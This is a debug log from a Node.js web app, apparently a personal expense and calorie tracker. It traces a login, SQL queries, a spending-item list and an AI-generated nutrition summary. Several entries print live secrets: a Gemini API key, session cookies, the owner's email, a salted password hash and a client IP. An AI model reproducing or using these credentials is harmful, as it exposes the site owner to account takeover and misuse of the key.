    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"196d-LKwcMPQ3dgGRjZwXahAD+qnHq6M"',
    HTTP_PRIORITY: 'u=0, i',
    'HTTP_X_FORWARDED-FOR': '49.43.181.210',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2025-12-16T12:48:56.198Z server-connect:router Serving serverConnect /api/access-control/login
2025-12-16T12:48:56.199Z server-connect:app Executing action step identify
2025-12-16T12:48:56.199Z server-connect:app options: { provider: 'security' }
2025-12-16T12:48:56.248Z server-connect:auth Login with cookie: { username: 'engineer.sanjay20@gmail.com', password: '5541655453e404f32177f2ccaf540c8fa1593fe3a8d6b1f4c2ecd7d10676db8e' }
2025-12-16T12:48:56.250Z server-connect:auth setCookie 1 engineer.sanjay20@gmail.com 5541655453e404f32177f2ccaf540c8fa1593fe3a8d6b1f4c2ecd7d10676db8e
2025-12-16T12:48:56.300Z server-connect:output identity: 1
2025-12-16T12:48:56.300Z server-connect:app Executing action step login
2025-12-16T12:48:56.301Z server-connect:app options: {
  provider: 'security',
  remember: 1,
  username: '{{$_POST.email}}',
  password: "{{$_POST.password.sha256('yajnas')}}"
}
2025-12-16T12:48:56.301Z server-connect:auth setCookie 1 engineer.sanjay20@gmail.com 5541655453e404f32177f2ccaf540c8fa1593fe3a8d6b1f4c2ecd7d10676db8e
2025-12-16T12:48:56.346Z server-connect:output identity: 1
2025-12-16T12:48:56.346Z server-connect:app Executing action step restrict
2025-12-16T12:48:56.346Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-16T12:48:56.347Z server-connect:output restrict: undefined
2025-12-16T12:48:56.561Z server-connect:router Serving templateView /
2025-12-16T12:48:56.562Z server-connect:app Executing action step identify
2025-12-16T12:48:56.562Z server-connect:app options: { provider: 'security' }
2025-12-16T12:48:56.562Z server-connect:output identity: 1
2025-12-16T12:48:56.562Z server-connect:app Executing action step restrict
2025-12-16T12:48:56.562Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-16T12:48:56.563Z server-connect:output restrict: undefined
2025-12-16T12:48:56.563Z server-connect:app Executing action step restrict
2025-12-16T12:48:56.563Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-16T12:48:56.564Z server-connect:output restrict: undefined
2025-12-16T12:48:56.564Z server-connect:router Render template layouts/main
2025-12-16T12:48:56.564Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'sec-ch-ua-mobile': '?1',
    'sec-ch-ua-platform': '"Android"',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Mobile Safari/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'service-worker-navigation-preload': 'true',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    referer: 'https://ems.sanjaychaurasia.xyz/login',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"fdb1-9uUc5J+XJFJodaZmHHqzpey4jxo"',
    priority: 'u=0, i',
    cookie: 'security.auth=s%3A1gPePSrbAE%2BwJIGAQA%2BRuw%3D%3D.xwStsJ30ZCdgqgPRaVOjQIwDWVGMhODEGmgKlqcrvHww3qzWq%2FtsEcylNt8aNsPR3ZfUiAJfMWk%2F5FNvb6pfhPbZfQTWH8vSJORXTCFmrxcXeRiEvC7nKI48eMvPiLxbMzEn0HQyKa%2FQHunfkgQs3R%2B6EkWECGklFDLirBZ752Q%3D.gRm1H2FtgeZRuNgzcxdHda1Li9vU6jg6hdnRrSYQgMM; your_r_git.sid=s%3A3QwrUCdis9i5OCmJnLs6K1BpcQvDIfb-.oXRIE93YJeeAJsGsrnGJA6oUbDg%2Fa%2F1TrdYX6XFlyvo',
    'x-forwarded-for': '49.43.181.210',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-17T12:48:56.347Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '49.43.181.210',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'HTTP_SEC_CH-UA-MOBILE': '?1',
    'HTTP_SEC_CH-UA-PLATFORM': '"Android"',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Mobile Safari/537.36',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SERVICE_WORKER-NAVIGATION-PRELOAD': 'true',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/login',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"fdb1-9uUc5J+XJFJodaZmHHqzpey4jxo"',
    HTTP_PRIORITY: 'u=0, i',
    HTTP_COOKIE: 'security.auth=s%3A1gPePSrbAE%2BwJIGAQA%2BRuw%3D%3D.xwStsJ30ZCdgqgPRaVOjQIwDWVGMhODEGmgKlqcrvHww3qzWq%2FtsEcylNt8aNsPR3ZfUiAJfMWk%2F5FNvb6pfhPbZfQTWH8vSJORXTCFmrxcXeRiEvC7nKI48eMvPiLxbMzEn0HQyKa%2FQHunfkgQs3R%2B6EkWECGklFDLirBZ752Q%3D.gRm1H2FtgeZRuNgzcxdHda1Li9vU6jg6hdnRrSYQgMM; your_r_git.sid=s%3A3QwrUCdis9i5OCmJnLs6K1BpcQvDIfb-.oXRIE93YJeeAJsGsrnGJA6oUbDg%2Fa%2F1TrdYX6XFlyvo',
    'HTTP_X_FORWARDED-FOR': '49.43.181.210',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/index'
}
2025-12-16T12:48:57.285Z server-connect:router Serving serverConnect /api/masters/get-items
2025-12-16T12:48:57.286Z server-connect:app Executing action step identify
2025-12-16T12:48:57.286Z server-connect:app options: { provider: 'security' }
2025-12-16T12:48:57.286Z server-connect:output identity: 1
2025-12-16T12:48:57.286Z server-connect:app Executing action step restrict
2025-12-16T12:48:57.286Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-16T12:48:57.287Z server-connect:router Serving serverConnect /api/access-control/user-info
2025-12-16T12:48:57.287Z server-connect:output restrict: undefined
2025-12-16T12:48:57.287Z server-connect:app Executing action step select
2025-12-16T12:48:57.287Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object] ],
    params: [],
    table: { name: 'sub_categories' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `sub_categories`.`subcategory_name` as `item_name`, `sub_categories`.`id` as `item_id`, `categories`.`category_name` from `sub_categories` inner join `categories` on `categories`.`id` = `sub_categories`.`category_id`'
  }
}
2025-12-16T12:48:57.288Z server-connect:app Executing action step identify
2025-12-16T12:48:57.288Z server-connect:app options: { provider: 'security' }
2025-12-16T12:48:57.288Z server-connect:output identity: 1
2025-12-16T12:48:57.288Z server-connect:app Executing action step restrict
2025-12-16T12:48:57.288Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-16T12:48:57.290Z server-connect:output list: [
  { item_name: 'Clothing', item_id: 27, category_name: 'Apparel' },
  { item_name: 'Fashion', item_id: 28, category_name: 'Apparel' },
  { item_name: 'Shoes', item_id: 29, category_name: 'Apparel' },
  { item_name: 'Kurta Mens', item_id: 154, category_name: 'Apparel' },
  { item_name: 'Baby Towel', item_id: 161, category_name: 'Apparel' },
  { item_name: 'Bra', item_id: 178, category_name: 'Apparel' },
  { item_name: 'Dress', item_id: 188, category_name: 'Apparel' },
  { item_name: 'Stole', item_id: 193, category_name: 'Apparel' },
  { item_name: 'Leggings', item_id: 206, category_name: 'Apparel' },
  {
    item_name: 'Jockey Thermal Top',
    item_id: 208,
    category_name: 'Apparel'
  },
  { item_name: 'Chudas', item_id: 238, category_name: 'Apparel' },
  {
    item_name: 'Artifial Jwellery',
    item_id: 245,
    category_name: 'Apparel'
  },
  { item_name: 'Blazer', item_id: 267, category_name: 'Apparel' },
  { item_name: 'Nehru Jacket', item_id: 268, category_name: 'Apparel' },
  { item_name: 'Belt', item_id: 270, category_name: 'Apparel' },
  { item_name: 'Loafer', item_id: 272, category_name: 'Apparel' },
  { item_name: 'Pant', item_id: 274, category_name: 'Apparel' },
  {
    item_name: 'Winter Jacket',
    item_id: 275,
    category_name: 'Apparel'
  },
  { item_name: 'Girl Jacket', item_id: 276, category_name: 'Apparel' },
  { item_name: 'T Shirt', item_id: 277, category_name: 'Apparel' },
  { item_name: 'Shopping Bag', item_id: 278, category_name: 'Apparel' },
  { item_name: 'Blouse', item_id: 377, category_name: 'Apparel' },
  { item_name: 'Chappal', item_id: 378, category_name: 'Apparel' },
  { item_name: 'Saree', item_id: 392, category_name: 'Apparel' },
  { item_name: 'Skirt', item_id: 450, category_name: 'Apparel' },
  { item_name: 'Stall', item_id: 477, category_name: 'Apparel' },
  { item_name: 'Shorts', item_id: 529, category_name: 'Apparel' },
  { item_name: 'Juti', item_id: 616, category_name: 'Apparel' },
  {
    item_name: 'Cloth Fitting',
    item_id: 643,
    category_name: 'Apparel'
  },
  { item_name: 'Underwear', item_id: 651, category_name: 'Apparel' },
  { item_name: 'Cosmentics', item_id: 31, category_name: 'Beauty' },
  { item_name: 'Makeup', item_id: 32, category_name: 'Beauty' },
  { item_name: 'Accessories', item_id: 33, category_name: 'Beauty' },
  {
    item_name: 'Gillete Gaurd Machine',
    item_id: 135,
    category_name: 'Beauty'
  },
  {
    item_name: 'Gillete Gaurd Blades',
    item_id: 137,
    category_name: 'Beauty'
  },
  {
    item_name: 'Loreal Parish Condition',
    item_id: 176,
    category_name: 'Beauty'
  },
  {
    item_name: 'Shahnaz Hussain Facial Pack',
    item_id: 179,
    category_name: 'Beauty'
  },
  {
    item_name: 'Elle 18 Crayon',
    item_id: 180,
    category_name: 'Beauty'
  },
  { item_name: 'Hair Gel MG5', item_id: 273, category_name: 'Beauty' },
  {
    item_name: 'Ponds Whity Beuty',
    item_id: 324,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ponds face wash',
    item_id: 326,
    category_name: 'Beauty'
  },
  { item_name: 'Hair clip', item_id: 337, category_name: 'Beauty' },
  { item_name: 'Lotus cream', item_id: 437, category_name: 'Beauty' },
  { item_name: 'Hair Band', item_id: 476, category_name: 'Beauty' },
  {
    item_name: 'Loreal Conditional',
    item_id: 561,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ram Narayan Jwellery',
    item_id: 564,
    category_name: 'Beauty'
  },
  {
    item_name: 'Boutique moisturizing cream',
    item_id: 592,
    category_name: 'Beauty'
  },
  { item_name: 'D tan', item_id: 593, category_name: 'Beauty' },
  { item_name: 'Pani Puri', item_id: 56, category_name: 'Eating Out' },
  { item_name: 'Cold Drink', item_id: 59, category_name: 'Eating Out' },
  { item_name: 'Lunch', item_id: 63, category_name: 'Eating Out' },
  { item_name: 'Dinner', item_id: 64, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Tikka',
    item_id: 67,
    category_name: 'Eating Out'
  },
  { item_name: 'Momos', item_id: 68, category_name: 'Eating Out' },
  { item_name: 'Faluda', item_id: 69, category_name: 'Eating Out' },
  { item_name: 'Pastry', item_id: 72, category_name: 'Eating Out' },
  {
    item_name: 'Fruit Cream',
    item_id: 73,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Rabdi Bottle',
    item_id: 74,
    category_name: 'Eating Out'
  },
  { item_name: 'Idli Fry', item_id: 80, category_name: 'Eating Out' },
  {
    item_name: 'Ferroro Rocher Shake',
    item_id: 82,
    category_name: 'Eating Out'
  },
  { item_name: 'Sandwich', item_id: 83, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple Juice',
    item_id: 84,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Mausmi Juice',
    item_id: 85,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kitkat Shake',
    item_id: 87,
    category_name: 'Eating Out'
  },
  { item_name: 'Tea', item_id: 100, category_name: 'Eating Out' },
  {
    item_name: 'Bread Butter',
    item_id: 104,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Spring Roll',
    item_id: 114,
    category_name: 'Eating Out'
  },
  { item_name: 'Red Bull', item_id: 125, category_name: 'Eating Out' },
  { item_name: 'Nimbuz', item_id: 132, category_name: 'Eating Out' },
  {
    item_name: 'Kadi kachori',
    item_id: 140,
    category_name: 'Eating Out'
  },
  { item_name: 'Nimu soda', item_id: 141, category_name: 'Eating Out' },
  {
    item_name: 'Chocho Lottie Pie',
    item_id: 156,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Manchurian',
    item_id: 157,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Cold coffee',
    item_id: 158,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sprite Cold Drink',
    item_id: 170,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Snickers Chochlate',
    item_id: 171,
    category_name: 'Eating Out'
  },
  { item_name: 'Puff Corn', item_id: 172, category_name: 'Eating Out' },
  {
    item_name: 'Cadbusy Fuse Chochlate',
    item_id: 174,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Five Starts Chochlate',
    item_id: 175,
    category_name: 'Eating Out'
  },
  { item_name: 'Mithai', item_id: 190, category_name: 'Eating Out' },
  {
    item_name: 'Real Juice',
    item_id: 195,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fanta Cold Drink',
    item_id: 198,
    category_name: 'Eating Out'
  },
  { item_name: 'Ice Cream', item_id: 199, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Ready Made',
    item_id: 203,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sunfest Yuppie Noodles',
    item_id: 204,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kingfisher mint cold drink',
    item_id: 205,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Ghewar Mithai',
    item_id: 226,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Moti choor Ladoo',
    item_id: 227,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chichen Tikka Roll',
    item_id: 233,
    category_name: 'Eating Out'
  },
  { item_name: 'Pav Bhaji', item_id: 234, category_name: 'Eating Out' },
  { item_name: 'Fish', item_id: 235, category_name: 'Eating Out' },
  { item_name: 'Dabeli', item_id: 236, category_name: 'Eating Out' },
  {
    item_name: 'Gulab Jamun',
    item_id: 248,
    category_name: 'Eating Out'
  },
  { item_name: 'soya chap', item_id: 255, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple shake',
    item_id: 256,
    category_name: 'Eating Out'
  },
  { item_name: 'Tiffin', item_id: 259, category_name: 'Eating Out' },
  { item_name: 'Pizza', item_id: 260, category_name: 'Eating Out' },
  {
    item_name: 'Sitafal Thick Shake',
    item_id: 261,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fruit Punch thick shake',
    item_id: 262,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chole Kulche',
    item_id: 264,
    category_name: 'Eating Out'
  },
  ... 534 more items
]
2025-12-16T12:48:57.291Z server-connect:output restrict: undefined
2025-12-16T12:48:57.291Z server-connect:app Executing action step single
2025-12-16T12:48:57.291Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [],
    table: { name: 'user' },
    primary: 'id',
    joins: [],
    query: 'select `first_name`, `last_name`, `email`, `id` from `user`'
  }
}
2025-12-16T12:48:57.292Z server-connect:output user_info: {
  first_name: 'Sanjay',
  last_name: 'Kumar',
  email: 'engineer.sanjay20@gmail.com',
  id: 1
}
2025-12-16T12:49:02.931Z server-connect:router Serving templateView /calorie-tracker
2025-12-16T12:49:02.931Z server-connect:app Executing action step identify
2025-12-16T12:49:02.931Z server-connect:app options: { provider: 'security' }
2025-12-16T12:49:02.931Z server-connect:output identity: 1
2025-12-16T12:49:02.932Z server-connect:app Executing action step restrict
2025-12-16T12:49:02.932Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-16T12:49:02.932Z server-connect:output restrict: undefined
2025-12-16T12:49:02.932Z server-connect:router Render template calorie-tracker
2025-12-16T12:49:02.933Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': { fragment: 'true' },
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Android"',
    'user-agent': 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Mobile Safari/537.36',
    accept: 'text/fragment+html',
    'sec-ch-ua': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'sec-ch-ua-mobile': '?1',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'cors',
    'sec-fetch-dest': 'empty',
    referer: 'https://ems.sanjaychaurasia.xyz/calorie-tracker',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"4ae2-Z91IqD2JddOalJzsRK6cFllX6F0"',
    priority: 'u=1, i',
    cookie: 'security.auth=s%3A1gPePSrbAE%2BwJIGAQA%2BRuw%3D%3D.xwStsJ30ZCdgqgPRaVOjQIwDWVGMhODEGmgKlqcrvHww3qzWq%2FtsEcylNt8aNsPR3ZfUiAJfMWk%2F5FNvb6pfhPbZfQTWH8vSJORXTCFmrxcXeRiEvC7nKI48eMvPiLxbMzEn0HQyKa%2FQHunfkgQs3R%2B6EkWECGklFDLirBZ752Q%3D.gRm1H2FtgeZRuNgzcxdHda1Li9vU6jg6hdnRrSYQgMM; your_r_git.sid=s%3A3QwrUCdis9i5OCmJnLs6K1BpcQvDIfb-.oXRIE93YJeeAJsGsrnGJA6oUbDg%2Fa%2F1TrdYX6XFlyvo',
    'x-forwarded-for': '49.43.181.210',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-17T12:48:56.347Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/calorie-tracker',
    QUERY_STRING: 'fragment=true',
    REMOTE_ADDR: '49.43.181.210',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/calorie-tracker',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Android"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Mobile Safari/537.36',
    HTTP_ACCEPT: 'text/fragment+html',
    'HTTP_SEC_CH-UA': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'HTTP_SEC_CH-UA-MOBILE': '?1',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'cors',
    'HTTP_SEC_FETCH-DEST': 'empty',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/calorie-tracker',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"4ae2-Z91IqD2JddOalJzsRK6cFllX6F0"',
    HTTP_PRIORITY: 'u=1, i',
    HTTP_COOKIE: 'security.auth=s%3A1gPePSrbAE%2BwJIGAQA%2BRuw%3D%3D.xwStsJ30ZCdgqgPRaVOjQIwDWVGMhODEGmgKlqcrvHww3qzWq%2FtsEcylNt8aNsPR3ZfUiAJfMWk%2F5FNvb6pfhPbZfQTWH8vSJORXTCFmrxcXeRiEvC7nKI48eMvPiLxbMzEn0HQyKa%2FQHunfkgQs3R%2B6EkWECGklFDLirBZ752Q%3D.gRm1H2FtgeZRuNgzcxdHda1Li9vU6jg6hdnRrSYQgMM; your_r_git.sid=s%3A3QwrUCdis9i5OCmJnLs6K1BpcQvDIfb-.oXRIE93YJeeAJsGsrnGJA6oUbDg%2Fa%2F1TrdYX6XFlyvo',
    'HTTP_X_FORWARDED-FOR': '49.43.181.210',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1
}
2025-12-16T12:49:03.191Z server-connect:router Serving serverConnect /api/gemini/get-health-summary
2025-12-16T12:49:03.191Z server-connect:router Serving serverConnect /api/health/todays-calories
2025-12-16T12:49:03.192Z server-connect:app Executing action step identify
2025-12-16T12:49:03.192Z server-connect:app options: { provider: 'security' }
2025-12-16T12:49:03.192Z server-connect:output identity: 1
2025-12-16T12:49:03.192Z server-connect:app Executing action step restrict
2025-12-16T12:49:03.192Z server-connect:app options: { provider: 'security' }
2025-12-16T12:49:03.192Z server-connect:output restrict: undefined
2025-12-16T12:49:03.192Z server-connect:app Executing action step single
2025-12-16T12:49:03.192Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'health_summary' },
    joins: [],
    primary: 'id',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `summary`, `date` from `health_summary` where `health_summary`.`date` = ?'
  }
}
2025-12-16T12:49:03.192Z server-connect:app Executing action step identify
2025-12-16T12:49:03.193Z server-connect:app options: { provider: 'security' }
2025-12-16T12:49:03.193Z server-connect:output identity: 1
2025-12-16T12:49:03.193Z server-connect:app Executing action step restrict
2025-12-16T12:49:03.193Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-16T12:49:03.194Z server-connect:output summary: {
  summary: {
    rating: 6,
    summary: "The day's nutrition shows a good variety of Indian foods, with adequate carbohydrate intake to fuel workouts. Protein sources appear somewhat limited, and hydration could be enhanced. Meal timing seems spread out, which supports consistent energy levels.",
    bad_points: [
      'Protein intake appears to be on the lower side for muscle development goals.',
      'The inclusion of digestive biscuits and ketchup might not optimally support body composition objectives.',
      'The milk-sugar coffee adds non-essential sugars.'
    ],
    good_points: [
      'Inclusion of traditional Indian dishes like Roti and Aloo Gobi.',
      'Spread out meal timings throughout the day.',
      'Consumption of green tea for hydration and potential metabolic benefits.'
    ],
    suggestions: [
      'Incorporate more protein-rich foods in meals and snacks, such as lentils, legumes, lean meats, or dairy.',
      'Prioritize whole, unprocessed foods and reduce intake of processed biscuits and sugary beverages.',
      'Increase water intake throughout the day.'
    ],
    predicted_weight: 70.15,
    predicted_weight_trend: 'slight loss'
  },
  date: '2025-12-15T18:30:00.000Z'
}
2025-12-16T12:49:03.194Z server-connect:output restrict: undefined
2025-12-16T12:49:03.194Z server-connect:app Executing action step single
2025-12-16T12:49:03.195Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object], [Object], [Object], [Object] ],
    params: [ [Object], [Object] ],
    table: { name: 'calories_requirement' },
    joins: [],
    primary: 'id',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `id`, `start_date`, `end_date`, `maintenance_calories`, `weight_kg`, `target_calories` from `calories_requirement` where `calories_requirement`.`start_date` <= ? and `calories_requirement`.`end_date` >= ?'
  }
}
2025-12-16T12:49:03.195Z server-connect:output requirements: {
  id: 3,
  start_date: '2025-11-09T18:30:00.000Z',
  end_date: '2025-12-29T18:30:00.000Z',
  maintenance_calories: 2400,
  weight_kg: '71.00',
  target_calories: 1800
}
2025-12-16T12:49:03.196Z server-connect:app Executing action step select
2025-12-16T12:49:03.196Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [],
    params: [ [Object] ],
    table: { name: 'calories_tracking' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select * from `calories_tracking` where `calories_tracking`.`intake_date` = ? order by `id` ASC',
    orders: [ [Object] ]
  }
}
2025-12-16T12:49:03.197Z server-connect:output item_list: [
  {
    id: 402,
    intake_date: '2025-12-15T18:30:00.000Z',
